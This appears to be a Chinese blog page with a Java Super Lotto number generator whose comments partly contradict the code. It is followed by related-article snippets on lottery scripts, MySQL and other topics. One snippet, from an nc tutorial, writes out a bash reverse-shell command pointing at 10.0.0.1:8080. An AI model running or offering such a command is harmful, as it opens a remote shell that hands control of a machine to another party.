大乐透 Java随机码
package suijishu;
import java.util.Random;
// TODO Auto-generated method stub
public class Xuanqi {
public static void main(String[] args) {
// 36选7
int[] caiPiao = new int[5];
Random rand = new Random();
// 生成
for (int i = 0; i < 5; i++) // 生成7个随机数。i代表正在生成第几个数
{
int temp = rand.nextInt(36);
temp++; // 生成随机数
// 解决重复问题
int chongFuCiShu = 0; // 检索数组,记录重复次数
for (int j = 0; j < 5; j++) { // 检查是否有重复,有重复就记录chongFuCiShu++;
if (temp == caiPiao[j]) {
chongFuCiShu++;
}
}
if (chongFuCiShu == 0) {
caiPiao[i] = temp;
} else {
i--;
}
// System.out.print(temp+"\t");
}
// 显示
for (int i = 0; i < caiPiao.length; i++) {
System.out.print(caiPiao[i] + "\t");
}
int[] lanQiu = new int[2];
Random rand1 = new Random();
for (int a = 0; a < 2; a++) // 生成7个随机数。i代表正在生成第几个数
{
int temp1 = rand1.nextInt(12);
temp1++; // 生成随机数
// 解决重复问题
int chongFuCiShu1 = 0; // 检索数组,记录重复次数
for (int b = 0; b < 2; b++) { // 检查是否有重复,有重复就记录chongFuCiShu++;
if (temp1 == lanQiu[b]) {
chongFuCiShu1++;
}
}
if (chongFuCiShu1 == 0) {
lanQiu[a] = temp1;
} else {
a--;
}
// System.out.print(temp+"\t");
}
// 显示
for (int a = 0; a < lanQiu.length; a++) {
System.out.print(lanQiu[a] + "\t");
}
}
}
大乐透

大乐透 Java随机码的更多相关文章
- Python生成随机验证码,大乐透号码
实例笔记之生成随机号码 扩展知识 - yield(生成器) 随机生成验证码 示例代码: import random # 导入标准模块中的random if __name__ == '__main__' ...
- Python实现双色球和大乐透摇奖
实现代码: # code by kadycui # 模块引用 import random def select(): print('\n') print('请选择彩票种类') print('双色球输入 ...
- python 获取大乐透中奖结果
实现思路: 1.通过urllib库爬取http://zx.500.com/dlt/页面,并过滤出信息 2.将自己的买的彩票的号与开奖号进行匹配,查询是否中奖 3.将中奖结果发生到自己邮箱 caipia ...
- c语言实现双色球和大乐透
头文件: #include<stdio.h> #include <stdlib.h> #include<string.h> #include <time.h& ...
- 08 python学习笔记-随机生成大乐透号码(八)
1 #产生大乐透号码 2 #前区 1-32,5 后区 1-12,2 3 #1.前区从1-32中级取5个,后区再从1-12里面取2个 4 #01 02 03 04 5 def dlt(): #生成随机大 ...
- python模拟双色球大乐透生成算法
每天练习一段python代码,健康生活一辈子.晚上下班没事,打开电脑继续编写python代码!今天分享的一个是大家熟悉的双色球彩票的游戏,根据这个进行写的一个python算法,代码精简,肯定有bug, ...
- python 写一个生成大乐透号码的程序
""" 写一个生成大乐透号码的程序 生成随机号码:大乐透分前区号码和后区号码, 前区号码是从01-35中无重复地取5个号码, 后区号码是从01-12中无重复地取2个号码, ...
- python—模拟生成双色球号和大乐透号
下边这个脚本,比较适合初级学习基本python语法用.但是,不精炼建议可参考https://www.cnblogs.com/Formulate0303/p/14031748.html的写法. 大乐透玩 ...
- python简易的大乐透数据获取及初步分析
该项目从网上爬取并分析彩票数据,为用户查看和初步分析往期数据提供一种简易的工具. https://github.com/unknowcry/Lottery # -*- coding: utf-8 -* ...
随机推荐
- cplexJava源码---计算结果
public static class CplexStatus implements Serializable { static final long serialVersionUID = -7367 ...
- mysql数据库的维护,备份和复制
在数据库运行时维护数据库 执行mysql数据库维护的方法之一就是连接mysql服务器,并告诉它做什么事, 如对myisam数据表进行检查或者修复, 可以使用check table tbname或rep ...
- mysql 修改用户密码
修改mysql用户密码 目录 mysqladmin命令 UPDATE user 语句 SET PASSWORD 语句 root密码丢失的情况(待验证) mysqladmin命令(回目录) 格式如下 ...
- parseInt 和 parseFloat 实现字符串转换为数字
age = '18' a = parseInt(age) b = parseFloat(age)
- MIME(Multipurpose Internet Mail Extensions-多用途互联网邮件扩展)
MIME MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型.是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时 ...
- 程序员教程-10章-C++程序设计
本来这章是不打算写了的,毕竟自己学的是JAVA,C++就不想看了,但毕竟还有一点时间,就把C++也看一下吧 目录结构 10.1 C++程序基础 10.1.1 数据类型 1 基本数据类型 2 常量和变量 ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- 一步步实现 easyui datagrid表格宽度自适应,效果非常好
一步步实现 easyui datagrid表格宽度自适应,效果非常好: 一.设置公共方法,使得datagrid的属性 fitColumns:true $(function(){ //初始加载,表格宽 ...
- com.google.gson的SerializedName解决实体类与关键字的重名
使用google的gson包,解决实体类中字段与java关键字的重名: // 比如 当实体类中有switch关键字时,解决冲突如下 @SerializedName("switch" ...
- python 日期格式
%a 星期几的简写%A 星期几的全称%b 月分的简写%B 月份的全称%c 标准的日期的时间串%C 年份的后两位数字%d 十进制表示的每月的第几天%D 月/天/年%e 在两字符域中,十进制表示的每月的第 ...